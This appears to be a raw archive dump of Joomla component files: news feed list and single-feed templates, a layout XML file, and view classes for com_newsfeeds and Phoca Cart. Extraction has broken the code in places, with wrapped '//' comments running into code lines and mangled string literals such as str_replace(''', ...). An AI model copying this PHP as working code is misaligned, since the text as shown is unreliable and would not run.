<p><?php echo JText::_('COM_NEWSFEEDS_NO_ARTICLES');
?></p>
<?php else : ?>
<form action="<?php echo
htmlspecialchars(JUri::getInstance()->toString(), ENT_COMPAT,
'UTF-8'); ?>" method="post"
name="adminForm" id="adminForm">
<?php if ($this->params->get('filter_field') !==
'hide' ||
$this->params->get('show_pagination_limit')) : ?>
<fieldset class="filters btn-toolbar">
<?php if ($this->params->get('filter_field') !==
'hide' &&
$this->params->get('filter_field') == '1') :
?>
<div class="btn-group">
<label class="filter-search-lbl element-invisible"
for="filter-search">
<span class="label label-warning">
<?php echo JText::_('JUNPUBLISHED'); ?>
</span>
<?php echo JText::_('COM_NEWSFEEDS_FILTER_LABEL') .
' '; ?>
</label>
<input type="text" name="filter-search"
id="filter-search" value="<?php echo
$this->escape($this->state->get('list.filter'));
?>" class="inputbox"
onchange="document.adminForm.submit();" title="<?php echo
JText::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>"
placeholder="<?php echo
JText::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>" />
</div>
<?php endif; ?>
<?php if
($this->params->get('show_pagination_limit')) : ?>
<div class="btn-group pull-right">
<label for="limit"
class="element-invisible">
<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
</label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<?php endif; ?>
</fieldset>
<?php endif; ?>
<ul class="category list-striped list-condensed">
<?php foreach ($this->items as $i => $item) : ?>
<?php if ($this->items[$i]->published == 0) : ?>
<li class="system-unpublished cat-list-row<?php echo $i %
2; ?>">
<?php else : ?>
<li class="cat-list-row<?php echo $i % 2; ?>">
<?php endif; ?>
<?php if ($this->params->get('show_articles')) :
?>
<span class="list-hits badge badge-info pull-right">
<?php echo
JText::sprintf('COM_NEWSFEEDS_NUM_ARTICLES_COUNT',
$item->numarticles); ?>
</span>
<?php endif; ?>
<span class="list pull-left">
<div class="list-title">
<a href="<?php echo
JRoute::_(NewsFeedsHelperRoute::getNewsfeedRoute($item->slug,
$item->catid)); ?>">
<?php echo $item->name; ?>
</a>
</div>
</span>
<?php if ($this->items[$i]->published == 0) : ?>
<span class="label label-warning">
<?php echo JText::_('JUNPUBLISHED'); ?>
</span>
<?php endif; ?>
<br />
<?php if ($this->params->get('show_link')) : ?>
<?php $link = JStringPunycode::urlToUTF8($item->link); ?>
<span class="list pull-left">
<a href="<?php echo $item->link; ?>">
<?php echo $link; ?>
</a>
</span>
<br />
<?php endif; ?>
</li>
<?php endforeach; ?>
</ul>
<?php // Add pagination links ?>
<?php if (!empty($this->items)) : ?>
<?php if (($this->params->def('show_pagination', 2)
== 1 || ($this->params->get('show_pagination') == 2))
&& ($this->pagination->pagesTotal > 1)) : ?>
<div class="pagination">
<?php if
($this->params->def('show_pagination_results', 1)) : ?>
<p class="counter pull-right">
<?php echo $this->pagination->getPagesCounter(); ?>
</p>
<?php endif; ?>
<?php echo $this->pagination->getPagesLinks(); ?>
</div>
<?php endif; ?>
<?php endif; ?>
</form>
<?php endif; ?>
category/view.html.php000064400000033101151165472750011022
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*
* Why Items View or why category view? Category view always has category
ID,
* but items view is here for filtering and searching and this can be
without category ID
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewCategory extends JViewLegacy
{
protected $category;
protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->t['categoryid'] = $app->input->get(
'id', 0, 'int' );
$this->t['limitstart'] = $app->input->get(
'limitstart', 0, 'int' );
$this->t['ajax'] = 0;
// PARAMS
$this->t['view'] = 'category';
$this->t['category_layout_plugin'] = $this->p->get(
'category_layout_plugin', '');
$this->t['display_new'] = $this->p->get(
'display_new', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
//$this->t['description'] = $this->p->get(
'description', '' );
$this->t['cv_display_description'] = $this->p->get(
'cv_display_description', 1 );
$this->t['image_width_cat'] = $this->p->get(
'image_width_cat', '' );
$this->t['image_height_cat'] = $this->p->get(
'image_height_cat', '' );
//$this->t['image_link'] = $this->p->get(
'image_link', 0 );
$this->t['columns_cat'] = $this->p->get(
'columns_cat', 3 );
$this->t['columns_subcat_cat'] = $this->p->get(
'columns_subcat_cat', 3 );
$this->t['enable_social'] = $this->p->get(
'enable_social', 0 );
$this->t['cv_display_subcategories']= $this->p->get(
'cv_display_subcategories', 5 );
$this->t['display_back'] = $this->p->get(
'display_back', 3 );
$this->t['display_compare'] = $this->p->get(
'display_compare', 0 );
$this->t['display_wishlist'] = $this->p->get(
'display_wishlist', 0 );
$this->t['display_quickview'] = $this->p->get(
'display_quickview', 0 );
$this->t['display_addtocart_icon'] = $this->p->get(
'display_addtocart_icon', 0 );
$this->t['fade_in_action_icons'] = $this->p->get(
'fade_in_action_icons', 0 );
// Hide action icon box if no icon displayed
$this->t['display_action_icons'] = 1;
if ($this->t['display_compare'] == 0 &&
$this->t['display_wishlist'] == 0 &&
$this->t['display_quickview'] == 0 &&
$this->t['display_addtocart_icon'] == 0) {
$this->t['display_action_icons'] = 0;
}
$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['dynamic_change_id'] =
$this->p->get('dynamic_change_id', 0);
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
$this->t['add_compare_method'] = $this->p->get(
'add_compare_method', 0 );
$this->t['display_addtocart'] = $this->p->get(
'display_addtocart', 1 );
$this->t['add_wishlist_method'] = $this->p->get(
'add_wishlist_method', 0 );
$this->t['display_star_rating'] = $this->p->get(
'display_star_rating', 0 );
$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['hide_attributes_category']= $this->p->get(
'hide_attributes_category', 1 );
$this->t['hide_attributes'] = $this->p->get(
'hide_attributes', 0 );
$this->t['display_stock_status'] = $this->p->get(
'display_stock_status', 1 );
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['zero_attribute_price'] = $this->p->get(
'zero_attribute_price', 1 );
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get( 'hide_add_to_cart_zero_price', 0 );
$this->t['cv_subcategories_layout'] = $this->p->get(
'cv_subcategories_layout', 1 );
$this->t['category_askquestion'] = $this->p->get(
'category_askquestion', 0 );
$this->t['popup_askquestion'] = $this->p->get(
'popup_askquestion', 1 );
$this->t['display_products_all_subcategories'] =
$this->p->get('display_products_all_subcategories', 0);
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['category_addtocart'] = 0;
$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should be
displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_category'] = 1;
}
// ------------------------------------------------------------
$this->t['display_view_product_button'] =
$this->p->get( 'display_view_product_button', 1 );
$this->t['product_name_link'] = $this->p->get(
'product_name_link', 0 );
$this->t['switch_image_category_items'] =
$this->p->get( 'switch_image_category_items', 0 );
$this->t['lazy_load_category_items'] = $this->p->get(
'lazy_load_category_items', 0 );// Products
$this->t['lazy_load_categories'] = $this->p->get(
'lazy_load_categories', 0 );// Subcategories
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['category_display_labels'] = $this->p->get(
'category_display_labels', 2 );
$this->t['category_display_tags'] = $this->p->get(
'category_display_tags', 0 );
$this->t['category_display_manufacturer'] =
$this->p->get( 'category_display_manufacturer', 0 );
$this->t['manufacturer_alias'] = $this->p->get(
'manufacturer_alias', 'manufacturer');
$this->t['manufacturer_alias'] =
$this->t['manufacturer_alias'] != '' ?
trim(PhocacartText::filterValue($this->t['manufacturer_alias'],
'alphanumeric')) : 'manufacturer';
$this->t['show_pagination'] =
$this->p->get('show_pagination');
$this->t['show_pagination_top'] =
$this->p->get('show_pagination_top', 1);
$this->t['display_item_ordering'] =
$this->p->get('display_item_ordering');
$this->t['display_item_ordering_top'] =
$this->p->get('display_item_ordering_top', 1);
$this->t['show_pagination_limit'] =
$this->p->get('show_pagination_limit');
$this->t['show_pagination_limit_top'] =
$this->p->get('show_pagination_limit_top', 1);
$this->t['ajax_pagination_category'] =
$this->p->get('ajax_pagination_category', 0);
$this->t['display_pagination_labels'] =
$this->p->get('display_pagination_labels', 1);
$this->t['show_switch_layout_type'] =
$this->p->get('show_switch_layout_type', 1);
$this->category =
$model->getCategory($this->t['categoryid']);
if (empty($this->category)) {
header("HTTP/1.0 404
".JText::_('COM_PHOCACART_NO_CATEGORY_FOUND'));
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_NO_CATEGORY_FOUND').'</div>';
} else {
$this->subcategories =
$model->getSubcategories($this->t['categoryid']);
$this->items =
$model->getItemList($this->t['categoryid']);
$this->t['pagination'] =
$model->getPagination($this->t['categoryid']);
$this->t['ordering'] = $model->getOrdering();
$this->t['layouttype'] = $model->getLayoutType();
$this->t['layouttypeactive'] =
PhocacartRenderFront::setActiveLayoutType($this->t['layouttype']);
$this->t['columns_cat'] =
$this->t['layouttype'] == 'grid' ?
$this->t['columns_cat'] : 1;
$this->t['action'] = $uri->toString();
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0,
(int)$this->t['categoryid']));
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute(0,
(int)$this->t['categoryid']));
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute(0,
(int)$this->t['categoryid']));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['class_row_flex'] =
$this->p->get('equal_height', 1) == 1 ?
'ph-row-flex' : '';
$this->t['class_fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0) == 1 ?
'b-thumbnail' : '';
$this->t['class_lazyload'] =
$this->t['lazy_load_category_items'] == 1 ?
'ph-lazyload' : '';
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$media->loadProductHover();
PhocacartRenderJs::renderAjaxAddToCart();
//PhocacartRenderJs::renderAjaxUpdateCart();// used only in POS
PhocacartRenderJs::renderAjaxAddToCompare();
PhocacartRenderJs::renderAjaxAddToWishList();
// Moved to JS
PhocacartRenderJs::renderSubmitPaginationTopForm($this->t['action'],
'#phItemsBox');
if((int)$this->t['category_askquestion'] > 0) {
PhocacartRenderJs::renderAjaxAskAQuestion();
if ($this->t['popup_askquestion'] == 1) {
$media->loadWindowPopup();
}
}
$touchSpinJs = $media->loadTouchSpin('quantity',
$this->s['i']);
$media->loadPhocaSwapImage($this->t['dynamic_change_image']);
if ($this->t['hide_attributes_category'] == 0) {
$media->loadPhocaAttribute(1);
$media->loadPhocaAttributeRequired(1); // Some of the attribute can
be required and can be a image checkbox
}
/*if ($this->t['dynamic_change_price'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions(0,
'Category', 'ph-category-price-box');// We need to load
it here
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions(0,
'Category', 'ph-item-stock-box');
}*/
/* if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions((int)$this->item[0]->id,
'Category', 'ph-category-data-box');
}*/
// CHANGE PRICE FOR ITEM QUICK VIEW
if ($this->t['display_quickview'] == 1 ||
$this->t['category_addtocart'] == 104) {
PhocacartRenderJs::renderAjaxQuickViewBox();
// CHANGE PRICE FOR ITEM QUICK VIEW
/*if ($this->t['dynamic_change_price'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions(0,
'ItemQuick', 'ph-item-price-box');// We need to load it
here
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions(0,
'ItemQuick', 'ph-item-stock-box');
}*/
/* if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions(0,
'ItemQuick', 'ph-item-data-box');
}*/
$media->loadPhocaAttribute(1);// We need to load it here
$media->loadPhocaSwapImage($this->t['dynamic_change_image']);//
We need to load it here in ITEM (QUICK VIEW) VIEW
}
$media->loadPhocaMoveImage($this->t['switch_image_category_items']);//
Move (switch) images in CATEGORY, ITEMS VIEW
$media->loadSpec();
$this->_prepareDocument();
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$model->hit((int)$this->t['categoryid']);
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonCategoryBeforeHeader',
array('com_phocacart.category', &$this->items,
&$this->p));
$this->t['event']->onCategoryBeforeHeader =
trim(implode("\n", $results));
// Foreach values are rendered in default foreaches
// Layout plugins - completely new layout including foreach
$this->t['pluginlayout'] = false;
if ($this->t['category_layout_plugin'] != '') {
$this->t['category_layout_plugin'] =
PhocacartText::filterValue($this->t['category_layout_plugin'],
'alphanumeric2');
$this->t['pluginlayout'] =
JPluginHelper::importPlugin('pcl',
$this->t['category_layout_plugin']);
}
if ($this->t['pluginlayout']) {
$this->t['show_switch_layout_type'] = 0;
}
// END Plugins --------------------------------------
parent::display($tpl);
echo $media->returnLazyLoad();// Render all bottom scripts // Must be
loaded bottom because of ignoring async in Firefox
}
}
protected function _prepareDocument() {
$category = false;
if (isset($this->category[0]) &&
is_object($this->category[0])) {
$category = $this->category[0];
}
PhocacartRenderFront::prepareDocument($this->document, $this->p,
$category);
}
}
?>
newsfeed/tmpl/default.php000064400000012321151165472750011471
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if (!empty($this->msg)) : ?>
<?php echo $this->msg; ?>
<?php else : ?>
<?php $lang = JFactory::getLanguage(); ?>
<?php $myrtl = $this->newsfeed->rtl; ?>
<?php $direction = ' '; ?>
<?php $isRtl = $lang->isRtl(); ?>
<?php if ($isRtl && $myrtl == 0) : ?>
<?php $direction = ' redirect-rtl'; ?>
<?php elseif ($isRtl && $myrtl == 1) : ?>
<?php $direction = ' redirect-ltr'; ?>
<?php elseif ($isRtl && $myrtl == 2) : ?>
<?php $direction = ' redirect-rtl'; ?>
<?php elseif ($myrtl == 0) : ?>
<?php $direction = ' redirect-ltr'; ?>
<?php elseif ($myrtl == 1) : ?>
<?php $direction = ' redirect-ltr'; ?>
<?php elseif ($myrtl == 2) : ?>
<?php $direction = ' redirect-rtl'; ?>
<?php endif; ?>
<?php $images = json_decode($this->item->images); ?>
<div class="newsfeed<?php echo $this->pageclass_sfx;
?><?php echo $direction; ?>">
<?php if ($this->params->get('display_num')) : ?>
<h1 class="<?php echo $direction; ?>">
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
<?php endif; ?>
<h2 class="<?php echo $direction; ?>">
<?php if ($this->item->published == 0) : ?>
<span class="label label-warning"><?php echo
JText::_('JUNPUBLISHED'); ?></span>
<?php endif; ?>
<a href="<?php echo $this->item->link; ?>"
target="_blank">
<?php echo str_replace(''', "'",
$this->item->name); ?>
</a>
</h2>
<?php if ($this->params->get('show_tags', 1)) : ?>
<?php $this->item->tagLayout = new
JLayoutFile('joomla.content.tags'); ?>
<?php echo
$this->item->tagLayout->render($this->item->tags->itemTags);
?>
<?php endif; ?>
<!-- Show Images from Component -->
<?php if (isset($images->image_first) &&
!empty($images->image_first)) : ?>
<?php $imgfloat = empty($images->float_first) ?
$this->params->get('float_first') :
$images->float_first; ?>
<div class="img-intro-<?php echo htmlspecialchars($imgfloat,
ENT_COMPAT, 'UTF-8'); ?>">
<img
<?php if ($images->image_first_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_first_caption,
ENT_COMPAT, 'UTF-8') . '"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_first,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_first_alt, ENT_COMPAT,
'UTF-8'); ?>" />
</div>
<?php endif; ?>
<?php if (isset($images->image_second) &&
!empty($images->image_second)) : ?>
<?php $imgfloat = empty($images->float_second) ?
$this->params->get('float_second') :
$images->float_second; ?>
<div class="pull-<?php echo htmlspecialchars($imgfloat,
ENT_COMPAT, 'UTF-8'); ?> item-image">
<img
<?php if ($images->image_second_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_second_caption) .
'"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_second,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_second_alt, ENT_COMPAT,
'UTF-8'); ?>" />
</div>
<?php endif; ?>
<!-- Show Description from Component -->
<?php echo $this->item->description; ?>
<!-- Show Feed's Description -->
<?php if ($this->params->get('show_feed_description'))
: ?>
<div class="feed-description">
<?php echo str_replace(''', "'",
$this->rssDoc->description); ?>
</div>
<?php endif; ?>
<!-- Show Image -->
<?php if ($this->rssDoc->image &&
$this->params->get('show_feed_image')) : ?>
<div>
<img src="<?php echo $this->rssDoc->image->uri;
?>" alt="<?php echo $this->rssDoc->image->title;
?>" />
</div>
<?php endif; ?>
<!-- Show items -->
<?php if (!empty($this->rssDoc[0])) : ?>
<ol>
<?php for ($i = 0; $i < $this->item->numarticles; $i++) :
?>
<?php if (empty($this->rssDoc[$i])) : ?>
<?php break; ?>
<?php endif; ?>
<?php $uri = $this->rssDoc[$i]->uri ||
!$this->rssDoc[$i]->isPermaLink ? trim($this->rssDoc[$i]->uri)
: trim($this->rssDoc[$i]->guid); ?>
<?php $uri = !$uri || stripos($uri, 'http') !== 0 ?
$this->item->link : $uri; ?>
<?php $text = $this->rssDoc[$i]->content !== '' ?
trim($this->rssDoc[$i]->content) : ''; ?>
<li>
<?php if (!empty($uri)) : ?>
<h3 class="feed-link">
<a href="<?php echo htmlspecialchars($uri); ?>"
target="_blank">
<?php echo trim($this->rssDoc[$i]->title); ?>
</a>
</h3>
<?php else : ?>
<h3 class="feed-link"><?php echo
trim($this->rssDoc[$i]->title); ?></h3>
<?php endif; ?>
<?php if
($this->params->get('show_item_description') &&
$text !== '') : ?>
<div class="feed-item-description">
<?php if ($this->params->get('show_feed_image',
0) == 0) : ?>
<?php $text = JFilterOutput::stripImages($text); ?>
<?php endif; ?>
<?php $text = JHtml::_('string.truncate', $text,
$this->params->get('feed_character_count')); ?>
<?php echo str_replace(''',
"'", $text); ?>
</div>
<?php endif; ?>
</li>
<?php endfor; ?>
</ol>
<?php endif; ?>
</div>
<?php endif; ?>
newsfeed/tmpl/default.xml000064400000005365151165472760011515
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE"
option="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED"
/>
<message>
<![CDATA[COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the request variables for the layout. -->
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_newsfeeds/models/fields"
>
<field
name="id"
type="modal_newsfeed"
label="COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL"
description="COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC"
required="true"
select="true"
new="true"
edit="true"
clear="true"
/>
</fieldset>
</fields>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<!-- Basic options. -->
<fieldset name="basic"
label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">
<field
name="show_feed_image"
type="list"
label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
useglobal="true"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_feed_description"
type="list"
label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
useglobal="true"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_item_description"
type="list"
label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
useglobal="true"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_tags"
type="list"
label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL"
description="COM_NEWSFEEDS_FIELD_SHOW_TAGS_DESC"
useglobal="true"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="feed_character_count"
type="number"
label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
size="6"
useglobal="true"
/>
<field
name="feed_display_order"
type="list"
label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
description="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC"
useglobal="true"
>
<option
value="des">JGLOBAL_MOST_RECENT_FIRST</option>
<option value="asc">JGLOBAL_OLDEST_FIRST</option>
</field>
</fieldset>
</fields>
</metadata>
newsfeed/view.html.php000064400000020065151165472760011013 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
/**
* HTML View class for the Newsfeeds component
*
* @since 1.0
*/
class NewsfeedsViewNewsfeed extends JViewLegacy
{
/**
* @var object
* @since 1.6
*/
protected $state;
/**
* @var object
* @since 1.6
*/
protected $item;
/**
* @var boolean
* @since 1.6
*/
protected $print;
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.6
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
$user = JFactory::getUser();
// Get view related request variables.
$print = $app->input->getBool('print');
// Get model data.
$state = $this->get('State');
$item = $this->get('Item');
// Check for errors.
// @TODO: Maybe this could go into
JComponentHelper::raiseErrors($this->get('Errors'))
if (count($errors = $this->get('Errors')))
{
JError::raiseWarning(500, implode("\n", $errors));
return false;
}
// Add router helpers.
$item->slug = $item->alias ? ($item->id . ':' .
$item->alias) : $item->id;
$item->catslug = $item->category_alias ? ($item->catid .
':' . $item->category_alias) : $item->catid;
$item->parent_slug = $item->category_alias ? ($item->parent_id .
':' . $item->parent_alias) : $item->parent_id;
// Merge newsfeed params. If this is single-newsfeed view, menu params
override newsfeed params
// Otherwise, newsfeed params override menu item params
$params = $state->get('params');
$newsfeed_params = clone $item->params;
$active = $app->getMenu()->getActive();
$temp = clone $params;
// Check to see which parameters should take priority
if ($active)
{
$currentLink = $active->link;
// If the current view is the active item and a newsfeed view for this
feed, then the menu item params take priority
if (strpos($currentLink, 'view=newsfeed') &&
strpos($currentLink, '&id=' . (string) $item->id))
{
// $item->params are the newsfeed params, $temp are the menu item
params
// Merge so that the menu item params take priority
$newsfeed_params->merge($temp);
$item->params = $newsfeed_params;
// Load layout from active query (in case it is an alternative menu
item)
if (isset($active->query['layout']))
{
$this->setLayout($active->query['layout']);
}
}
else
{
// Current view is not a single newsfeed, so the newsfeed params take
priority here
// Merge the menu item params with the newsfeed params so that the
newsfeed params take priority
$temp->merge($newsfeed_params);
$item->params = $temp;
// Check for alternative layouts (since we are not in a single-newsfeed
menu item)
if ($layout = $item->params->get('newsfeed_layout'))
{
$this->setLayout($layout);
}
}
}
else
{
// Merge so that newsfeed params take priority
$temp->merge($newsfeed_params);
$item->params = $temp;
// Check for alternative layouts (since we are not in a single-newsfeed
menu item)
if ($layout = $item->params->get('newsfeed_layout'))
{
$this->setLayout($layout);
}
}
// Check the access to the newsfeed
$levels = $user->getAuthorisedViewLevels();
if (!in_array($item->access, $levels) || (in_array($item->access,
$levels) && (!in_array($item->category_access, $levels))))
{
$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'),
'error');
$app->setHeader('status', 403, true);
return;
}
// Get the current menu item
$params = $app->getParams();
// Get the newsfeed
$newsfeed = $item;
$params->merge($item->params);
try
{
$feed = new JFeedFactory;
$this->rssDoc = $feed->getFeed($newsfeed->link);
}
catch (InvalidArgumentException $e)
{
$msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
}
catch (RunTimeException $e)
{
$msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
}
if (empty($this->rssDoc))
{
$msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
}
$feed_display_order = $params->get('feed_display_order',
'des');
if ($feed_display_order === 'asc')
{
$this->rssDoc->reverseItems();
}
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($params->get('pageclass_sfx'));
$this->params = $params;
$this->newsfeed = $newsfeed;
$this->state = $state;
$this->item = $item;
$this->user = $user;
if (!empty($msg))
{
$this->msg = $msg;
}
$this->print = $print;
$item->tags = new JHelperTags;
$item->tags->getItemTags('com_newsfeeds.newsfeed',
$item->id);
// Increment the hit counter of the newsfeed.
$model = $this->getModel();
$model->hit();
$this->_prepareDocument();
return parent::display($tpl);
}
/**
* Prepares the document
*
* @return void
*
* @since 1.6
*/
protected function _prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$pathway = $app->getPathway();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading',
JText::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE'));
}
$title = $this->params->get('page_title', '');
$id = (int) @$menu->query['id'];
// If the menu item does not concern this newsfeed
if ($menu && (!isset($menu->query['option']) ||
$menu->query['option'] !== 'com_newsfeeds' ||
$menu->query['view'] !== 'newsfeed'
|| $id != $this->item->id))
{
// If this is not a single newsfeed menu item, set the page title to the
newsfeed title
if ($this->item->name)
{
$title = $this->item->name;
}
$path = array(array('title' => $this->item->name,
'link' => ''));
$category =
JCategories::getInstance('Newsfeeds')->get($this->item->catid);
while ((!isset($menu->query['option']) ||
$menu->query['option'] !== 'com_newsfeeds' ||
$menu->query['view'] === 'newsfeed'
|| $id != $category->id) && $category->id > 1)
{
$path[] = array('title' => $category->title,
'link' =>
NewsfeedsHelperRoute::getCategoryRoute($category->id));
$category = $category->getParent();
}
$path = array_reverse($path);
foreach ($path as $item)
{
$pathway->addItem($item['title'],
$item['link']);
}
}
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
if (empty($title))
{
$title = $this->item->name;
}
$this->document->setTitle($title);
if ($this->item->metadesc)
{
$this->document->setDescription($this->item->metadesc);
}
elseif ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->item->metakey)
{
$this->document->setMetadata('keywords',
$this->item->metakey);
}
elseif ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
if ($app->get('MetaTitle') == '1')
{
$this->document->setMetaData('title',
$this->item->name);
}
